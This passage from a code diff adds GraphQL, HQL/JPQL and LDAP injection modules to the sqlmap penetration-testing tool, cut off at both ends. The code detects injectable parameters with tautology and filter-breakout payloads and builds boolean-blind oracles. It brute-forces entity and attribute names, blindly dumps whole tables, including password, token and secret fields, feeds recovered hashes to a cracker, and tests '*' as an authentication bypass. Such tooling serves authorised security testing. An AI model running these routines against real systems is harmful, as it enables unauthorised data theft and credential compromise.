(%s-based)" % (slot.parentType, slot.fieldName, slot.targetArg, kind)) + title = "GraphQL %s" % oracleType + payload = _buildQuery(slot, _SQL_BOOLEAN_TRUE) or _SQL_BOOLEAN_TRUE + report = "---\nParameter: %s.%s(%s:) (%s)\n Type: GraphQL injection\n Title: %s\n Payload: %s\n---" % ( + slot.parentType, slot.fieldName, slot.targetArg, slot.strategy, title, _escapeGraphQLString(payload)) + conf.dumper.singleString(report) + if conf.beep: + beep() + + # In-band exposure: the always-true payload reflecting extra records directly + if kind == "boolean" and templatePage: + rows = _dumpInband(endpoint, slot, templatePage) + if rows: + columns, dataRows = rows + logger.info("in-band data exposure: %d record(s)" % len(dataRows)) + conf.dumper.singleString("GraphQL in-band data for %s.%s(%s:):\n%s" % ( + slot.parentType, slot.fieldName, slot.targetArg, _grid(columns, dataRows))) + + if kind in ("boolean", "time"): + truth, truthBatch = _makeOracle(slot, endpoint, dbmsHint, threshold) + if truth: + return oracleType, (truth, truthBatch, dbmsHint), detail + + return oracleType, None, detail + + +def _enumerate(oracle): + """Drive the blind-SQLi oracle to fingerprint the back-end and enumerate it: + banner, current user/database, the table list, and a full blind dump of every + user table. All of this is recovered without knowing any SQL identifier up front.""" + + truth, truthBatch, dbmsHint = oracle + + dbms = dbmsHint or _fingerprint(truth) + if not dbms: + logger.warning("could not fingerprint the back-end DBMS through the GraphQL oracle") + return + + dialect = DIALECTS[dbms] + logger.info("back-end DBMS: '%s'" % dbms) + conf.dumper.singleString("GraphQL back-end DBMS: %s" % dbms) + + infer = _inferrer(truth, truthBatch, dialect) + + for label, expr in (("banner", dialect.banner), + ("current user", dialect.currentUser), + ("current database", dialect.currentDb)): + if not expr: + continue + value = infer(expr) + if value: + logger.info("%s: '%s'" % (label, value)) + conf.dumper.singleString("GraphQL %s: %s" % (label, value)) + + tables = _catList(infer, dialect, dialect.tableCol, dialect.tableFrom) + if not tables: + logger.warning("no tables recovered through the oracle") + return + + logger.info("fetching tables") + conf.dumper.singleString("GraphQL database tables [%d]:\n%s" % ( + len(tables), _grid(["table"], [[_] for _ in tables]))) + + for table in tables: + parsed = _dumpTable(infer, dialect, table) + if not parsed: + continue + columns, rows = parsed + logger.info("fetched %d entr%s from table '%s'" % (len(rows), "y" if len(rows) == 1 else "ies", table)) + + # Populate kb.data.dumpedTable and feed it through the standard + # password-hash analysis (hash-recognition + optional dictionary-crack) + # BEFORE displaying the dump, so that cracked passwords appear inline + # next to their hashes (matching the regular SQL table-dump workflow) + if len(rows) > 0 and not conf.disableHashing: + oldDumpedTable = getattr(kb.data, "dumpedTable", None) + try: + from lib.utils.hash import attackDumpedTable + kb.data.dumpedTable = {"__infos__": {"count": len(rows)}} + for ci, col in enumerate(columns): + kb.data.dumpedTable[col] = {"values": [row[ci] if ci < len(row) else "" for row in rows]} + attackDumpedTable() + # Re-read the rows: attackDumpedTable() may have appended + # cracked passwords in-place (e.g. "hash (password)") + for ci, col in enumerate(columns): + if col in kb.data.dumpedTable: + vals = kb.data.dumpedTable[col].get("values", []) + for ri in xrange(min(len(rows), len(vals))): + if ci < len(rows[ri]): + rows[ri][ci] = vals[ri] + except Exception: + pass + finally: + kb.data.dumpedTable = oldDumpedTable + + conf.dumper.singleString("GraphQL dump of table '%s' [%d]:\n%s" % ( + table, len(rows), _grid(columns, rows))) + + +def graphqlScan(): + # Entry point for '--graphql': detect the GraphQL endpoint, introspect the + # schema, enumerate injectable argument slots, confirm an injection oracle on a + # query slot, then fingerprint and blind-enumerate the SQL back-end through it + # (banner, tables, full table dumps). Mutation slots are reported but not + # exercised, to avoid modifying server-side data. + + global SENTINEL + SENTINEL = randomStr(length=10, lowercase=True) + + debugMsg = "'--graphql' is self-contained: it discovers the GraphQL endpoint, " + debugMsg += "enumerates the schema, and injects SQL/NoSQL payloads into reachable " + debugMsg += "argument slots. SQL enumeration switches (e.g. --banner, --dbs, " + debugMsg += "--tables) are ignored" + logger.debug(debugMsg) + + url = conf.url.rstrip("/") if conf.url else "" + + if not url: + logger.error("missing target URL") + return + + # 1. Endpoint detection + logger.info("probing for a GraphQL endpoint") + + # If the user supplied a URL that already contains '/graphql/' (e.g. + # .../graphql/get_int?id=1, the broker probe URL), extract the base so + # that probe paths are not appended to a non-GraphQL sub-path + _m = re.match(r"(https?://[^/]+(?:/[^/]+)*?/graphql)(?:/.*)?$", url.rstrip("/")) + if _m: + url = _m.group(1) + + endpoint, _ = _detectEndpoint(url) + if not endpoint: + logger.error("no GraphQL endpoint found at '%s' (tried %d common paths)" % ( + url, len(GRAPHQL_ENDPOINT_PATHS) + 1)) + return + + logger.info("found GraphQL endpoint at '%s'" % endpoint) + + # 2. Schema introspection + logger.info("introspecting the GraphQL schema") + schema = _introspect(endpoint) + + if schema: + types = schema.get("types") or [] + logger.info("introspection returned %d types" % len(types)) + slots = _extractSlots(schema) + if not slots: + logger.warning("no injectable argument slots found in the schema") + _dumpSchema(schema, endpoint) + return + else: + # Introspection blocked: try to recover the schema from field-suggestion errors + logger.warning("introspection failed (disabled or rejected); trying suggestion-based recovery") + slots = _introspectViaSuggestions(endpoint) + if not slots: + logger.error("could not recover the schema (introspection disabled and no field suggestions)") + return + + querySlots = [_ for _ in slots if _.operation == "query"] + mutationSlots = [_ for _ in slots if _.operation == "mutation"] + + logger.info("enumerated %d injectable argument slot(s): %d query, %d mutation" % ( + len(slots), len(querySlots), len(mutationSlots))) + + # 4. Schema dump (before detection -- matches regular sqlmap table/column + # enumeration preceding data retrieval). Only when introspection succeeded; the + # suggestion-recovered path has no full schema document to render. + if schema: + _dumpSchema(schema, endpoint) + + if mutationSlots: + names = sorted(set("%s(%s:)" % (_.fieldName, _.targetArg) for _ in mutationSlots)) + warnMsg = "skipping %d mutation slot(s) to avoid modifying server-side data " % len(mutationSlots) + warnMsg += "(%s). They may carry the same injection. Test them manually if intended" % ", ".join(names) + logger.warning(warnMsg) + + # 5. Per-slot detection; keep the first usable blind-SQLi oracle for enumeration + oracle = None + found = False + + for slot in querySlots: + logger.info("testing slot %s.%s(%s:) [%s]" % ( + slot.parentType, slot.fieldName, slot.targetArg, slot.strategy)) + + oracleType, slotOracle, _ = _testSlot(slot, endpoint) + if oracleType: + found = True + if slotOracle and not oracle: + oracle = slotOracle + logger.info("retaining %s.%s(%s:) as the blind-SQLi oracle for back-end enumeration" % ( + slot.parentType, slot.fieldName, slot.targetArg)) + + # 6. Back-end enumeration through the retained oracle + if oracle: + _enumerate(oracle) + + if not found: + logger.warning("no injectable slots found. The schema is shown above") + + logger.info("GraphQL scan complete") diff --git a/lib/techniques/hql/__init__.py b/lib/techniques/hql/__init__.py new file mode 100644 index 00000000000..bcac841631b --- /dev/null +++ b/lib/techniques/hql/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/hql/inject.py b/lib/techniques/hql/inject.py new file mode 100644 index 00000000000..e0da607c6fc --- /dev/null +++ b/lib/techniques/hql/inject.py @@ -0,0 +1,509 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import difflib +import re +import time + +from collections import namedtuple + +from lib.core.common import beep +from lib.core.common import randomStr +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import PLACE +from lib.core.settings import HQL_CHAR_MAX +from lib.core.settings import HQL_CHAR_MIN +from lib.core.settings import HQL_COMMON_ENTITIES +from lib.core.settings import HQL_ENTITY_REGEX +from lib.core.settings import HQL_ERROR_REGEX +from lib.core.settings import HQL_ERROR_SIGNATURES +from lib.core.settings import HQL_MAX_FIELDS +from lib.core.settings import HQL_MAX_LENGTH +from lib.core.settings import HQL_MAX_RECORDS +from lib.core.settings import UPPER_RATIO_BOUND +from lib.request.connect import Connect as Request +from lib.utils.xrange import xrange + + +SENTINEL = randomStr(length=10, lowercase=True) + +HQL_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST) + +# Attribute names probed (via an error-vs-valid oracle) once the mapped entity is +# known. HQL has no information_schema, so a mapped attribute either resolves +# (valid query) or raises a PathElementException (error page); that difference is +# the enumeration oracle. Ordered by real-world frequency. +HQL_COMMON_FIELDS = ( + "id", "name", "username", "user", "login", "email", "mail", "password", + "passwd", "pass", "pwd", "secret", "token", "apikey", "role", "roles", + "firstname", "lastname", "fullname", "phone", "address", "city", "country", + "active", "enabled", "created", "updated", "description", "title", "status", + "type", "code", "key", "hash", "salt", "uuid", "owner", "amount", "price", +) + +# Detection boundaries, priority-ordered. Each is (true, false, extraction prefix, +# extraction suffix, sentinel-based). The application's own trailing delimiter +# (the closing quote it appends after the injected value) balances the suffix, so +# no comment is needed (HQL frequently rejects SQL line comments anyway). +_BOUNDARY_TABLE = ( + # (true_breakout, false_breakout, ext_prefix, ext_suffix, sentinel ) + ("' OR '1'='1", "' AND '1'='2", "' OR ", " OR '1'='2", True), + ('" OR "1"="1', '" AND "1"="2', '" OR ', ' OR "1"="2', True), + (" OR 1=1", " AND 1=2", " OR ", "", False), +) + +# Boundary carries the extraction prefix/suffix and whether the base value must be +# a non-matching sentinel (OR-style) so a true predicate flips an empty result set. +Boundary = namedtuple("Boundary", ("prefix", "suffix", "sentinel")) + +Slot = namedtuple("Slot", ("place", "parameter", "backend", "entity", "oracle", "boundary", "payload")) +Slot.__new__.__defaults__ = (None,) * 7 + + +def _ratio(first, second): + return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() + + +def _delim(place): + return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&' + + +def _confParameters(place): + try: + return conf.parameters.get(place, "") + except AttributeError: + return conf.parameters[place] if place in conf.parameters else "" + + +def _originalValue(place, parameter): + for segment in _confParameters(place).split(_delim(place)): + name, _, value = segment.partition('=') + if name.strip() == parameter: + return value + return conf.paramDict.get(place, {}).get(parameter) or "" + + +def _replaceSegment(place, parameter, value): + delimiter = _delim(place) + raw = _confParameters(place) + retVal, replaced = [], False + + for part in raw.split(delimiter): + name, _, _ = part.partition('=') + if not replaced and name.strip() == parameter: + retVal.append("%s=%s" % (name, value)) + replaced = True + else: + retVal.append(part) + + if not replaced: + retVal = [] + for name, oldValue in conf.paramDict.get(place, {}).items(): + retVal.append("%s=%s" % (name, value if name == parameter else oldValue)) + + return delimiter.join(retVal) + + +def _send(place, parameter, value): + """Issue a single HTTP request with the target parameter set to `value`, + temporarily mutating conf.parameters so sqlmap's normal request machinery + (URL construction, cookies, headers, encodings) is fully preserved.""" + + if conf.delay: + time.sleep(conf.delay) + + old_params = conf.parameters.get(place, "") + conf.parameters[place] = _replaceSegment(place, parameter, value) + + try: + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value)) + page, _, _ = Request.getPage(raise404=False, silent=True) + return page or "" + except Exception as ex: + logger.debug("HQL probe request failed: %s" % getUnicode(ex)) + return "" + finally: + conf.parameters[place] = old_params + + +def _isError(page): + return bool(re.search(HQL_ERROR_REGEX, getUnicode(page or ""))) + + +def _backendFromError(page): + page = getUnicode(page or "") + for backend, regex in HQL_ERROR_SIGNATURES: + if re.search(regex, page): + return backend + return None + + +def _entityFromError(page): + page = getUnicode(page or "") + for regex in HQL_ENTITY_REGEX: + match = re.search(regex, page) + if match: + return match.group(1) + return None + + +def _probeError(place, parameter): + """Break the HQL string/numeric context and look for an ORM parser diagnostic. + Returns (backend, page) - a hint only; the boolean oracle is authoritative.""" + + original = _originalValue(place, parameter) or "1" + normal = _send(place, parameter, original) + + for suffix in ("'", '"', "'||", " and", ")"): + broken = _send(place, parameter, original + suffix) + if not broken or _ratio(normal, broken) >= UPPER_RATIO_BOUND: + continue + backend = _backendFromError(broken) + if backend and not _isError(normal): + return backend, broken + + return None, None + + +def _boolean(truthy, falsy): + """Return the reproducible true page when true/false probes diverge (both must + be independently reproducible), else None.""" + + truePage = truthy() + if truePage is None or _isError(truePage): + return None + if _ratio(truePage, truthy()) < UPPER_RATIO_BOUND: + return None + + falsePage = falsy() + if falsePage is None or _isError(falsePage): + return None + if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND: + return None + + if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: + return truePage + + return None + + +def _detectBoolean(place, parameter): + """Return (template, payload, boundary) for boolean-blind HQL injection.""" + + original = _originalValue(place, parameter) or "" + + for true_bk, false_bk, prefix, suffix, sentinel in _BOUNDARY_TABLE: + truePayload = original + true_bk + falsePayload = original + false_bk + template = _boolean(lambda p=truePayload: _send(place, parameter, p), + lambda p=falsePayload: _send(place, parameter, p)) + if template: + return template, truePayload, Boundary(prefix, suffix, sentinel) + + return None, None, None + + +def _base(boundary, original): + # OR-style boundaries need a base value that matches no row so a true predicate + # flips an empty result set into a populated one; AND-style keeps the original. + if boundary.sentinel: + return SENTINEL + return "-1" + + +def _wrap(original, boundary, predicate): + return "%s%s%s%s" % (original, boundary.prefix, predicate, boundary.suffix) + + +def _makeOracle(place, parameter, template, boundary, original): + """Build oracle(predicate) -> bool from a verified true template.""" + + cache = {} + base = _base(boundary, original) + + def request(payload): + if payload not in cache: + cache[payload] = _send(place, parameter, payload) + return cache[payload] + + def truth(predicate): + page = request(_wrap(base, boundary, predicate)) + if page is None or _isError(page): + return False + return _ratio(template, page) >= UPPER_RATIO_BOUND + + truth.template = template + truth.cache = cache + return truth + + +def _leakEntity(place, parameter, boundary, original): + """Force a path-resolution error to leak the mapped entity name. An unqualified + identifier resolves against the query root, so a random one yields e.g. + "Could not resolve attribute 'xyz' of 'com.app.User'".""" + + base = _base(boundary, original) + marker = randomStr(length=8, lowercase=True) + + for reference in ("%s", "u.%s", "e.%s", "o.%s", "x.%s", "this.%s"): + predicate = "%s IS NOT NULL" % (reference % marker) + page = _send(place, parameter, _wrap(base, boundary, predicate)) + entity = _entityFromError(page) + if entity: + return entity + + return None + + +def _shortEntity(entity): + # com.app.model.User -> User ; lab.App$Member -> Member + return re.split(r"[.$]", entity)[-1] if entity else entity + + +def _bruteEntities(truth): + """Recover mapped entity names through the boolean oracle alone (no reflected + diagnostic needed): a mapped name keeps the FROM clause valid, an unmapped one + raises UnknownEntityException and reads as false. Returns every match so the + whole reachable model can be dumped, not just the injected query's entity.""" + + retVal = [] + for entity in HQL_COMMON_ENTITIES: + if truth("EXISTS(SELECT 1 FROM %s _h)" % entity): + retVal.append(entity) + return retVal + + +def _enumFields(truth, entity): + """Probe common attribute names against the entity; a name that resolves keeps + the query valid (oracle true), a missing one raises and reads as false.""" + + fields = [] + for field in HQL_COMMON_FIELDS: + if len(fields) >= HQL_MAX_FIELDS: + break + predicate = "EXISTS(SELECT _h.%s FROM %s _h)" % (field, entity) + if truth(predicate): + fields.append(field) + logger.info("identified mapped attribute: '%s'" % field) + return fields + + +# Frequency-ordered printable charset for blind character extraction +_META_ORDS = set(ord(_) for _ in ("'", '"', '\\')) +_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) + + tuple(xrange(ord('A'), ord('Z') + 1)) + + tuple(xrange(ord('0'), ord('9') + 1)) + + tuple(ord(_) for _ in "@._- +:/")) +_CHARSET = [] +for _ in _FREQ: + if HQL_CHAR_MIN <= _ <= HQL_CHAR_MAX and _ not in _META_ORDS and _ not in _CHARSET: + _CHARSET.append(_) +for _ in xrange(HQL_CHAR_MIN, HQL_CHAR_MAX + 1): + if _ not in _META_ORDS and _ not in _CHARSET: + _CHARSET.append(_) + +# Charset as an HQL string literal for LOCATE()-based binary search: each character's +# 1-based index inside this literal is recovered by bisection (~log2(n) requests vs a +# linear equality scan), and LOCATE is an index lookup so no lexicographic ordering / +# collation assumption is introduced. URL-structural bytes (%, &, +, #, ?) are excluded +# because they cannot survive a raw GET/POST value; such a byte is surfaced as '?' (as +# it was under the previous linear scan). ', ", \ are already excluded above. +_URL_HOSTILE = set(ord(_) for _ in "%&+#?") +_CS_LITERAL = "".join(chr(_) for _ in _CHARSET if _ not in _URL_HOSTILE) + + +def _scalar(entity, attrExpr, pin, after=None): + """Scalar subquery over a single `entity` row selected by the smallest `pin` + (optionally the smallest strictly greater than `after`, to walk rows in order). + Alias-independent, so it works regardless of the outer query's alias. `attrExpr` + is the already-built selected expression (references CAST(_h. AS string)).""" + + bound = "" if after is None else " WHERE _h2.%s>%s" % (pin, after) + inner = "SELECT %s FROM %s _h WHERE _h.%s=(SELECT MIN(_h2.%s) FROM %s _h2%s)" % ( + attrExpr, entity, pin, pin, entity, bound) + return "(%s)" % inner + + +def _inferValue(truth, entity, attribute, pin, after=None, maxLen=HQL_MAX_LENGTH): + """Blindly recover one attribute value of the row selected by `pin`/`after`.""" + + # length first, by binary search + lengthExpr = _scalar(entity, "LENGTH(CAST(_h.%s AS string))" % attribute, pin, after) + if not truth("%s>=1" % lengthExpr): + return "" + + lo, hi = 1, maxLen + while lo < hi: + mid = (lo + hi + 1) // 2 + if truth("%s>=%d" % (lengthExpr, mid)): + lo = mid + else: + hi = mid - 1 + length = lo + + chars = [] + for pos in xrange(1, length + 1): + # index of this character inside _CS_LITERAL, recovered by binary search + idxExpr = _scalar(entity, "LOCATE(SUBSTRING(CAST(_h.%s AS string),%d,1),'%s')" % (attribute, pos, _CS_LITERAL), pin, after) + if not truth("%s>=1" % idxExpr): + chars.append("?") + continue + + lo, hi = 1, len(_CS_LITERAL) + while lo < hi: + mid = (lo + hi + 1) // 2 + if truth("%s>=%d" % (idxExpr, mid)): + lo = mid + else: + hi = mid - 1 + chars.append(_CS_LITERAL[lo - 1]) + + return "".join(chars) + + +def _grid(columns, rows): + columns = [getUnicode(_) for _ in columns] + rows = [[getUnicode(_) for _ in row] for row in rows] + + widths = [] + for index, column in enumerate(columns): + width = len(column) + for row in rows: + if index < len(row): + width = max(width, len(getUnicode(row[index]))) + widths.append(width) + + separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+" + + def line(cells): + return "| " + " | ".join((getUnicode(cells[index]) if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |" + + return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator]) + + +def _dumpEntity(oracle, place, parameter, entity): + """Enumerate an entity's mapped attributes and blindly dump all of its rows.""" + + logger.info("enumerating mapped attributes of entity '%s'" % entity) + fields = _enumFields(oracle, entity) + if not fields: + logger.warning("entity '%s' confirmed but no common attribute resolved; the model may use non-standard names" % entity) + return + + pin = "id" if "id" in fields else fields[0] + columns = list(fields) + + # Walk records in ascending pin order: each row is pinned to the smallest pin + # value strictly greater than the previous one. A numeric pin is required to + # advance the cursor; otherwise only the first (smallest-pin) row is recovered. + rows = [] + after = None + for _ in xrange(HQL_MAX_RECORDS): + pinValue = _inferValue(oracle, entity, pin, pin, after) + if not pinValue: + break + + record = {pin: pinValue} + for field in fields: + if field != pin: + record[field] = _inferValue(oracle, entity, field, pin, after) + rows.append([record.get(_, "") for _ in fields]) + logger.info(" retrieved record: %s" % ", ".join("%s='%s'" % (_, record.get(_, "")) for _ in fields)) + + if not re.match(r"\A\d+\Z", pinValue): + break + after = pinValue + else: + logger.warning("entity '%s' hit the HQL_MAX_RECORDS (%d) cap; some records may be omitted" % (entity, HQL_MAX_RECORDS)) + + conf.dumper.singleString("HQL: %s parameter '%s' entity '%s' (%d record%s, ordered by %s):\n%s" % (place, parameter, entity, len(rows), "s" if len(rows) != 1 else "", pin, _grid(columns, rows))) + + +def hqlScan(): + global SENTINEL + SENTINEL = randomStr(length=10, lowercase=True) + + debugMsg = "'--hql' is self-contained: it detects HQL/JPQL (Hibernate ORM) injection " + debugMsg += "and blindly recovers the mapped entity model. SQL enumeration switches " + debugMsg += "(--banner, --dbs, --tables, --users, --sql-query) do not apply" + logger.debug(debugMsg) + + if not conf.paramDict: + logger.error("no request parameters to test (use --data, GET params, or similar)") + return + + tested = 0 + slots = [] + + for place in (_ for _ in HQL_PLACES if _ in conf.paramDict): + for parameter in list(conf.paramDict[place].keys()): + if conf.testParameter and parameter not in conf.testParameter: + continue + + tested += 1 + logger.info("testing HQL injection on %s parameter '%s'" % (place, parameter)) + + backendHint, _page = _probeError(place, parameter) + if backendHint: + logger.info("%s parameter '%s' reaches an ORM query parser (back-end: '%s')" % (place, parameter, backendHint)) + + template, payload, boundary = _detectBoolean(place, parameter) + if not template: + if backendHint: + logger.info("%s parameter '%s' errors in the ORM parser but no boolean oracle was established" % (place, parameter)) + continue + + backend = backendHint or "Hibernate" + original = _originalValue(place, parameter) + # Error leakage only helps when the app actually reflects diagnostics + entity = _leakEntity(place, parameter, boundary, original) if backendHint else None + logger.info("%s parameter '%s' is vulnerable to HQL injection (back-end: '%s'%s)" % (place, parameter, backend, ", entity: '%s'" % entity if entity else "")) + if conf.beep: + beep() + + oracle = _makeOracle(place, parameter, template, boundary, original) + slots.append(Slot(place=place, parameter=parameter, backend=backend, + entity=entity, oracle=oracle, boundary=boundary, payload=payload)) + + if not slots: + if tested: + logger.warning("no parameter appears to be injectable via HQL injection (%d tested)" % tested) + else: + logger.warning("no parameters found to test for HQL injection") + return + + for slot in slots: + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: HQL injection\n Title: HQL boolean-based blind\n Payload: %s=%s\n---" % (slot.parameter, slot.place, slot.parameter, slot.payload)) + + # Blind extraction covers as much of the mapped model as reachable: the error-leaked + # entity (if any) plus every common entity the boolean oracle confirms is mapped. + slot = next((_ for _ in slots if _.entity), slots[0]) + + entities = [] + leaked = _shortEntity(slot.entity) + if leaked: + entities.append(leaked) + + logger.info("recovering mapped entities through the boolean oracle") + for entity in _bruteEntities(slot.oracle): + if entity not in entities: + entities.append(entity) + + if not entities: + logger.info("HQL injection confirmed; could not resolve a mapped entity for blind extraction") + logger.info("HQL scan complete") + return + + logger.info("dumping %d reachable entit%s: %s" % (len(entities), "y" if len(entities) == 1 else "ies", ", ".join("'%s'" % _ for _ in entities))) + for entity in entities: + _dumpEntity(slot.oracle, slot.place, slot.parameter, entity) + + logger.info("HQL scan complete") diff --git a/lib/techniques/ldap/__init__.py b/lib/techniques/ldap/__init__.py new file mode 100644 index 00000000000..bcac841631b --- /dev/null +++ b/lib/techniques/ldap/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/ldap/inject.py b/lib/techniques/ldap/inject.py new file mode 100644 index 00000000000..e433f4eb0bb --- /dev/null +++ b/lib/techniques/ldap/inject.py @@ -0,0 +1,770 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import difflib +import re +import time + +from collections import namedtuple + +from lib.core.common import beep +from lib.core.common import randomStr +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import PLACE +from lib.core.settings import LDAP_CHAR_MAX +from lib.core.settings import LDAP_CHAR_MIN +from lib.core.settings import LDAP_ERROR_REGEX +from lib.core.settings import LDAP_ERROR_SIGNATURES +from lib.core.settings import LDAP_FINGERPRINT_ATTRIBUTES +from lib.core.settings import LDAP_MAX_LENGTH +from lib.core.settings import LDAP_MAX_RECORDS +from lib.core.settings import UPPER_RATIO_BOUND +from lib.request.connect import Connect as Request +from lib.utils.xrange import xrange + + +SENTINEL = randomStr(length=10, lowercase=True) + +# _send() below currently knows how to rebuild GET and POST-style parameter +# strings. Cookie and URI delivery require separate per-place logic and should not +# be advertised until implemented. +LDAP_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST) + +# Breakouts are tried against the original application filter template. The +# generated assertion fragments intentionally stay open-ended: the vulnerable +# application usually appends the closing ')' or trailing substring '*') itself. +LDAP_BREAKOUT_PREFIXES = ( + "*)", # substring + one assertion: (attr=**) + ")", # exact-match one assertion: (attr=) + "|", # injection at filter-list head + "*))(", # substring + two assertions deep + "*)))", # substring + three assertions deep + ")))", # exact-match three assertions deep +) + +LDAP_TAUTOLOGY_ATTRIBUTES = ( + "objectClass", + "uid", + "cn", +) + +ENTRY_KEY_ATTRIBUTES = ( + "uid", + "sAMAccountName", + "userPrincipalName", + "mail", + "cn", +) + +DUMP_ATTRIBUTES = ( + "uid", + "cn", + "sn", + "givenName", + "displayName", + "mail", + "sAMAccountName", + "userPrincipalName", + "title", + "department", + "company", + "o", + "ou", + "telephoneNumber", + "mobile", + "manager", + "description", + "l", + "st", + "street", + "postalCode", + "c", + "co", + "employeeID", + "employeeNumber", + "employeeType", + "objectClass", + "objectCategory", +) + +MULTI_VALUE_ATTRIBUTES = ( + "member", + "memberOf", + "uniqueMember", +) + +Slot = namedtuple("Slot", ("place", "parameter", "backend", "oracle", "template", "payload", "breakout", "bypass")) +Slot.__new__.__defaults__ = (None, None, None, None, None, None, None, None) + + +def _ratio(first, second): + return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() + + +def _delim(place): + return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&' + + +def _confParameters(place): + try: + return conf.parameters.get(place, "") + except AttributeError: + return conf.parameters[place] if place in conf.parameters else "" + + +def _originalValue(place, parameter): + for segment in _confParameters(place).split(_delim(place)): + name, _, value = segment.partition('=') + if name.strip() == parameter: + return value + return conf.paramDict.get(place, {}).get(parameter) or "" + + +def _replaceSegment(place, parameter, value): + delimiter = _delim(place) + raw = _confParameters(place) + retVal, replaced = [], False + + for part in raw.split(delimiter): + name, _, _ = part.partition('=') + if not replaced and name.strip() == parameter: + retVal.append("%s=%s" % (name, value)) + replaced = True + else: + retVal.append(part) + + if not replaced: + retVal = [] + for name, oldValue in conf.paramDict.get(place, {}).items(): + retVal.append("%s=%s" % (name, value if name == parameter else oldValue)) + + return delimiter.join(retVal) + + +def _send(place, parameter, value): + skipUrlEncode = conf.skipUrlEncode + conf.skipUrlEncode = True + + if conf.delay: + time.sleep(conf.delay) + + try: + kwargs = {"raise404": False, "silent": True} + payload = _replaceSegment(place, parameter, value) + kwargs["post" if place in (PLACE.POST, PLACE.CUSTOM_POST) else "get"] = payload + + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, payload) + page, _, _ = Request.getPage(**kwargs) + return page or "" + except Exception as ex: + logger.debug("LDAP probe request failed: %s" % getUnicode(ex)) + return "" + finally: + conf.skipUrlEncode = skipUrlEncode + + +def _isError(page): + return bool(re.search(LDAP_ERROR_REGEX, getUnicode(page or ""))) + + +def _backendFromError(page): + page = getUnicode(page or "") + for backend, regex in LDAP_ERROR_SIGNATURES: + if re.search(regex, page): + return backend + return "Generic LDAP" if _isError(page) else None + + +def _probeBackendByParserError(place, parameter): + """Probe for LDAP filter parser errors to obtain a backend hint. + This is NOT authoritative vulnerability detection -- only a boolean + oracle (from _detectBoolean) confirms exploitable injection.""" + + original = _originalValue(place, parameter) or "x" + normal = _send(place, parameter, original) + + # Use LDAP filter syntax breakers, not apostrophes. Apostrophes are not LDAP + # filter metacharacters and only detect broken LDAP emulators backed by SQL. + for suffix in (")", "*)"): + payload = original + suffix + broken = _send(place, parameter, payload) + + if not normal or _ratio(normal, broken) >= UPPER_RATIO_BOUND: + continue + + backend = _backendFromError(broken) + if backend and not _isError(normal): + return backend, payload + + return None, None + + +def _boolean(truthy, falsy): + """Return the reproducible true page when true/false probes diverge.""" + + truePage = truthy() + if not truePage or _isError(truePage): + return None + + falsePage = falsy() + if not falsePage or _isError(falsePage): + return None + + truePage2 = truthy() + if _ratio(truePage, truePage2) >= UPPER_RATIO_BOUND and _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: + return truePage + + return None + + +def _detectBoolean(place, parameter): + """Return (template, payload, breakout) for boolean-blind LDAPi.""" + + original = _originalValue(place, parameter) or "" + falsePayload = original + SENTINEL + + for breakout in LDAP_BREAKOUT_PREFIXES: + for attr in LDAP_TAUTOLOGY_ATTRIBUTES: + # Open fragment by design. The application template supplies the tail. + truePayload = "%s%s(%s=*" % (original, breakout, attr) + template = _boolean(lambda p=truePayload: _send(place, parameter, p), + lambda p=falsePayload: _send(place, parameter, p)) + if template: + return template, truePayload, breakout + + # Useful for auth/search bypass reporting, but not enough to synthesize + # arbitrary LDAP filters for enumeration. + if original: + template = _boolean(lambda: _send(place, parameter, "*"), + lambda: _send(place, parameter, SENTINEL)) + if template: + return template, "*", None + + return None, None, None + + +def _isPasswordParam(parameter): + parameter = getUnicode(parameter or "").lower() + return any(_ in parameter for _ in ("pass", "pwd", "secret", "pin", "cred", "key", "token", "auth")) + + +def _detectAuthBypass(place, parameter): + if not _isPasswordParam(parameter): + return None + + starPage = _send(place, parameter, "*") + sentinelPage = _send(place, parameter, SENTINEL) + + if starPage and sentinelPage and _ratio(starPage, sentinelPage) < UPPER_RATIO_BOUND: + return "*" + + return None + + +def _fingerprintByError(backend): + if not backend: + return None + if "Active Directory" in backend: + return "Microsoft Active Directory" + if "OpenLDAP" in backend: + return "OpenLDAP" + if "ApacheDS" in backend: + return "ApacheDS" + if "Oracle" in backend: + return "Oracle Directory Server" + if "389" in backend: + return "389 Directory Server" + if "python-ldap" in backend or "Java JNDI" in backend: + return backend + return backend + + +def _transportEncode(value): + """ + Encode only transport-sensitive characters because _send() disables sqlmap's + regular URL encoding. LDAP filter syntax should remain raw; assertion values + should be passed through _ldapLiteral() first. + """ + + value = getUnicode(value) + value = value.replace("%", "%25") + value = value.replace("#", "%23") + value = value.replace("&", "%26") + value = value.replace("+", "%2B") + value = value.replace("=", "%3D") + value = value.replace(" ", "%20") + return value + + +def _ldapLiteral(value): + 